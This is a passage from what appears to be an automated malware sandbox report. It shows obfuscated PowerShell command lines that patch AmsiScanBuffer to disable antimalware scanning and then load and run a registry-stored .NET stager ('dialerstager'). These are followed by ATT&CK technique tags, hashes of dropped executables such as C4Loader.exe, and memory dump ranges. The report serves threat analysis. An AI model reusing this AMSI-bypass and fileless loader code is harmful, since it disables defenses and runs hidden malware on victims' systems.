(100)+''+','+''+'A'+'n'+[Char](115)+''+[Char](105)+''+'C'+'la'+'s'+''+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+'t'+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$EBhjPxPtFiH.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'pe'+[Char](99)+'i'+[Char](97)+''+'l'+'N'+[Char](97)+''+'m'+''+'e'+','+[Char](72)+''+[Char](105)+'de'+'B'+''+'y'+'Si'+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$pfEqZqxXYQgGPU).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$EBhjPxPtFiH.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'','P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'H'+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'N'+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+','+'V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$dPkYNryJNE,$pfEqZqxXYQgGPU).SetImplementationFlags('R'+'u'+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+'nag'+'e'+''+[Char](100)+'');Write-Output $EBhjPxPtFiH.CreateType();}$MCFVsifSrdJXA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'t'+'e'+'m'+'.'+'d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+'c'+''+'r'+''+[Char](111)+'s'+[Char](111)+''+'f'+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+''+'U'+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+'MC'+[Char](70)+''+[Char](86)+''+'s'+'i'+[Char](102)+'Srd'+[Char](74)+'XA');$iHFqdUBStqRIAj=$MCFVsifSrdJXA.GetMethod(''+[Char](105)+''+'H'+''+'F'+''+[Char](113)+''+[Char](100)+''+[Char](85)+'B'+[Char](83)+'tq'+[Char](82)+''+'I'+''+'A'+''+[Char](106)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+'a'+'t'+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$bAQBByhZVCWVXNULDMT=sYssYAlZZEwx @([String])([IntPtr]);$gwhwfdXCChzIjboAYyngrV=sYssYAlZZEwx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FzZfjHzgdLW=$MCFVsifSrdJXA.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+'o'+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+'Ha'+[Char](110)+'dl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+'3'+''+'2'+'.dl'+[Char](108)+'')));$QhzQWfOztbicUv=$iHFqdUBStqRIAj.Invoke($Null,@([Object]$FzZfjHzgdLW,[Object]('Lo'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$JMxIzSVtpiYvPMUpg=$iHFqdUBStqRIAj.Invoke($Null,@([Object]$FzZfjHzgdLW,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+'a'+''+'l'+''+'P'+''+[Char](114)+''+[Char](111)+'te'+'c'+''+[Char](116)+'')));$ymqgyXO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QhzQWfOztbicUv,$bAQBByhZVCWVXNULDMT).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+'.d'+[Char](108)+''+[Char](108)+'');$MPKfhoTkDcWccKSsF=$iHFqdUBStqRIAj.Invoke($Null,@([Object]$ymqgyXO,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+'f'+''+'e'+'r')));$xQfiobCuAG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JMxIzSVtpiYvPMUpg,$gwhwfdXCChzIjboAYyngrV).Invoke($MPKfhoTkDcWccKSsF,[uint32]8,4,[ref]$xQfiobCuAG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$MPKfhoTkDcWccKSsF,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JMxIzSVtpiYvPMUpg,$gwhwfdXCChzIjboAYyngrV).Invoke($MPKfhoTkDcWccKSsF,[uint32]8,0x20,[ref]$xQfiobCuAG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+'A'+'R'+'E'+'').GetValue(''+[Char](100)+'i'+[Char](97)+''+'l'+''+'e'+''+'r'+'s'+[Char](116)+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:IqSmoRePBrSc{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$AXAxYDiAAmDpZu,[Parameter(Position=1)][Type]$JOQlvaTCow)$viWSovNUKbW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'ef'+'l'+'ec'+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+'o'+''+'d'+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+'y'+[Char](112)+''+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'P'+''+'u'+''+'b'+''+'l'+''+'i'+'c'+','+'S'+[Char](101)+'a'+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+''+','+'Au'+[Char](116)+'o'+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$viWSovNUKbW.DefineConstructor(''+[Char](82)+''+[Char](84)+'Sp'+'e'+'c'+[Char](105)+'a'+[Char](108)+''+[Char](78)+'a'+'m'+''+[Char](101)+','+[Char](72)+'ide'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+'li'+'c'+'',[Reflection.CallingConventions]::Standard,$AXAxYDiAAmDpZu).SetImplementationFlags(''+'R'+''+'u'+'nti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+'d');$viWSovNUKbW.DefineMethod('I'+[Char](110)+'v'+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+'l'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+',N'+'e'+'w'+'S'+'l'+'o'+''+'t'+','+[Char](86)+''+[Char](105)+''+'r'+'t'+[Char](117)+'a'+[Char](108)+'',$JOQlvaTCow,$AXAxYDiAAmDpZu).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $viWSovNUKbW.CreateType();}$VVUFbSXezKsay=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+'d'+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+'s'+'o'+'f'+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+''+'n'+'safeVV'+[Char](85)+'F'+[Char](98)+'S'+[Char](88)+''+[Char](101)+'z'+[Char](75)+''+'s'+''+'a'+''+[Char](121)+'');$QnsQmaNZJsWFrK=$VVUFbSXezKsay.GetMethod(''+'Q'+'nsQm'+[Char](97)+''+[Char](78)+'ZJ'+[Char](115)+''+'W'+''+[Char](70)+''+[Char](114)+''+'K'+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$nOkPLfZQBIzjTTYhtZh=IqSmoRePBrSc @([String])([IntPtr]);$skgnMqMBxRBfbAlENGyMtZ=IqSmoRePBrSc @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XrwvEjzFhWP=$VVUFbSXezKsay.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+'H'+'an'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+[Char](110)+''+'e'+''+[Char](108)+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$HCpUBVqFpvVAki=$QnsQmaNZJsWFrK.Invoke($Null,@([Object]$XrwvEjzFhWP,[Object](''+[Char](76)+'o'+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+'r'+''+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$dlbqYKlnBVrkCdzfC=$QnsQmaNZJsWFrK.Invoke($Null,@([Object]$XrwvEjzFhWP,[Object](''+'V'+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+'te'+[Char](99)+''+[Char](116)+'')));$jwrDsqF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HCpUBVqFpvVAki,$nOkPLfZQBIzjTTYhtZh).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+'i'+''+'.'+''+'d'+''+[Char](108)+''+'l'+'');$AjLGVXpwQxKVbjrdL=$QnsQmaNZJsWFrK.Invoke($Null,@([Object]$jwrDsqF,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+'B'+''+[Char](117)+'ff'+[Char](101)+''+[Char](114)+'')));$whRhSgmKRl=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dlbqYKlnBVrkCdzfC,$skgnMqMBxRBfbAlENGyMtZ).Invoke($AjLGVXpwQxKVbjrdL,[uint32]8,4,[ref]$whRhSgmKRl);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AjLGVXpwQxKVbjrdL,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dlbqYKlnBVrkCdzfC,$skgnMqMBxRBfbAlENGyMtZ).Invoke($AjLGVXpwQxKVbjrdL,[uint32]8,0x20,[ref]$whRhSgmKRl);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+'F'+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'rst'+[Char](97)+''+'g'+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4040

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{d03f6f62-51eb-4d81-9310-c067c66e9000}
1⤵
PID:1412

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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vbc.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log
Size 226B
SHA256 7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
MD5 916851e072fbabc4796d8916c5131092
SHA1 d48a602229a690c512d5fdaf4c8d77547a88e7a2
SHA512 07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 f8309153f7ef62ebb2cc4b2fe5e4d738bee57d442cfb3c1c54dda50a3d87fdca
MD5 b459e619df1fd7bb8a57c8da1715aa0e
SHA1 a1a5e67e29d86b0d9e70d41376020c3d0ccb6109
SHA512 fe450133841d1ad64f95ca52121b18076c4b99e452684be90e9a1cf3aa39544813ed647a3435e9c26298d8ad95de7774f9dbde2c411c6f6f84b066e9ca80e169
SSDEEP 384:Ksf++8b9i+ke90Xo93aoVuo9o2TVK6seY+p7/PNA3So3A473l7FazCvrQ0gcZhQS:3fgF40VVTo2TVNxtYSiZ7IzCnnLr
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
MD5 a7ce8cefc3f798abe5abd683d0ef26dd
SHA1 b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA512 c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
MD5 SHA1 SHA512

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C4Loader.exe

Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Size 1.4MB
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
MD5 SHA1 SHA512 SSDEEP

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C4Loader.exe

Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Size 1.4MB
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
MD5 SHA1 SHA512 SSDEEP

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SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
MD5 SHA1 SHA512 SSDEEP

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SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
MD5 SHA1 SHA512 SSDEEP

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SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

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SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

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new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 455KB
SHA256 f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
MD5 ee0ad7cc2a5976a5c658da52092977a9
SHA1 c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA512 ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17
SSDEEP 12288:btWV/qA5lC5s4V73uNgSPncLl0kDOA2gb6asFY3QBP60uG:btWV/qADC5s4V73yncuK12gb6asFYA0i
MD5 SHA1 SHA512 SSDEEP

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new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 455KB
SHA256 f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
MD5 ee0ad7cc2a5976a5c658da52092977a9
SHA1 c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA512 ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17
SSDEEP 12288:btWV/qA5lC5s4V73uNgSPncLl0kDOA2gb6asFY3QBP60uG:btWV/qADC5s4V73yncuK12gb6asFYA0i
MD5 SHA1 SHA512 SSDEEP

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memory/400-185-0x000001D3D5D20000-0x000001D3D5D42000-memory.dmp

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memory/400-188-0x00007FFBBC610000-0x00007FFBBD0D1000-memory.dmp

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memory/400-187-0x00007FFBBC610000-0x00007FFBBD0D1000-memory.dmp

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memory/600-218-0x00007FFB9B4D0000-0x00007FFB9B4E0000-memory.dmp

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memory/656-219-0x00007FFB9B4D0000-0x00007FFB9B4E0000-memory.dmp

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memory/912-180-0x00000000051D0000-0x00000000052DA000-memory.dmp

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memory/912-181-0x0000000005100000-0x000000000513C000-memory.dmp

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memory/912-171-0x0000000000400000-0x0000000000420000-memory.dmp

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memory/912-178-0x0000000005660000-0x0000000005C78000-memory.dmp

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memory/912-179-0x00000000050A0000-0x00000000050B2000-memory.dmp

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memory/1412-214-0x00007FFBDAF50000-0x00007FFBDB00E000-memory.dmp

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memory/1412-212-0x0000000140000000-0x0000000140029000-memory.dmp

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memory/1412-213-0x00007FFBDB450000-0x00007FFBDB645000-memory.dmp

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memory/1412-209-0x0000000140000000-0x0000000140029000-memory.dmp

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memory/2948-166-0x0000000004D80000-0x0000000004E12000-memory.dmp

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memory/2948-164-0x0000000000300000-0x000000000046C000-memory.dmp

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memory/2948-176-0x0000000005230000-0x000000000523A000-memory.dmp

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memory/3784-203-0x00007FFBBC610000-0x00007FFBBD0D1000-memory.dmp

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memory/3784-202-0x00007FFBBC610000-0x00007FFBBD0D1000-memory.dmp

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memory/4040-217-0x00007FFBDAF50000-0x00007FFBDB00E000-memory.dmp

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memory/4040-206-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmp

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memory/4040-215-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmp

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memory/4040-208-0x00007FFBDAF50000-0x00007FFBDB00E000-memory.dmp

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memory/4040-207-0x00007FFBDB450000-0x00007FFBDB645000-memory.dmp

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memory/4040-216-0x00007FFBDB450000-0x00007FFBDB645000-memory.dmp

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memory/4040-133-0x0000000000400000-0x0000000000408000-memory.dmp

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memory/4368-184-0x000000000222B000-0x000000000272F000-memory.dmp

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memory/4368-189-0x0000000002735000-0x0000000002872000-memory.dmp

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memory/4368-183-0x0000000002735000-0x0000000002872000-memory.dmp

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memory/4368-182-0x000000000222B000-0x000000000272F000-memory.dmp

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memory/4584-150-0x0000000006E50000-0x0000000006E5A000-memory.dmp

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memory/4584-152-0x0000000007010000-0x000000000701E000-memory.dmp

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memory/4584-146-0x0000000070300000-0x000000007034C000-memory.dmp

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memory/4584-147-0x0000000006070000-0x000000000608E000-memory.dmp

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memory/4584-148-0x0000000007420000-0x0000000007A9A000-memory.dmp

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memory/4584-144-0x0000000005AB0000-0x0000000005ACE000-memory.dmp

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memory/4584-156-0x0000000008050000-0x00000000085F4000-memory.dmp

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memory/4584-149-0x0000000006DD0000-0x0000000006DEA000-memory.dmp

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memory/4584-151-0x0000000007090000-0x0000000007126000-memory.dmp

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memory/4584-145-0x0000000006090000-0x00000000060C2000-memory.dmp

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memory/4584-143-0x00000000054C0000-0x0000000005526000-memory.dmp

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memory/4584-142-0x00000000053E0000-0x0000000005446000-memory.dmp

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memory/4584-141-0x0000000004B10000-0x0000000004B32000-memory.dmp

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memory/4584-140-0x0000000004DB0000-0x00000000053D8000-memory.dmp

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memory/4584-139-0x00000000024D0000-0x0000000002506000-memory.dmp

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memory/4584-153-0x0000000007060000-0x000000000707A000-memory.dmp

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memory/4584-154-0x0000000007050000-0x0000000007058000-memory.dmp

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memory/4584-155-0x0000000007170000-0x0000000007192000-memory.dmp

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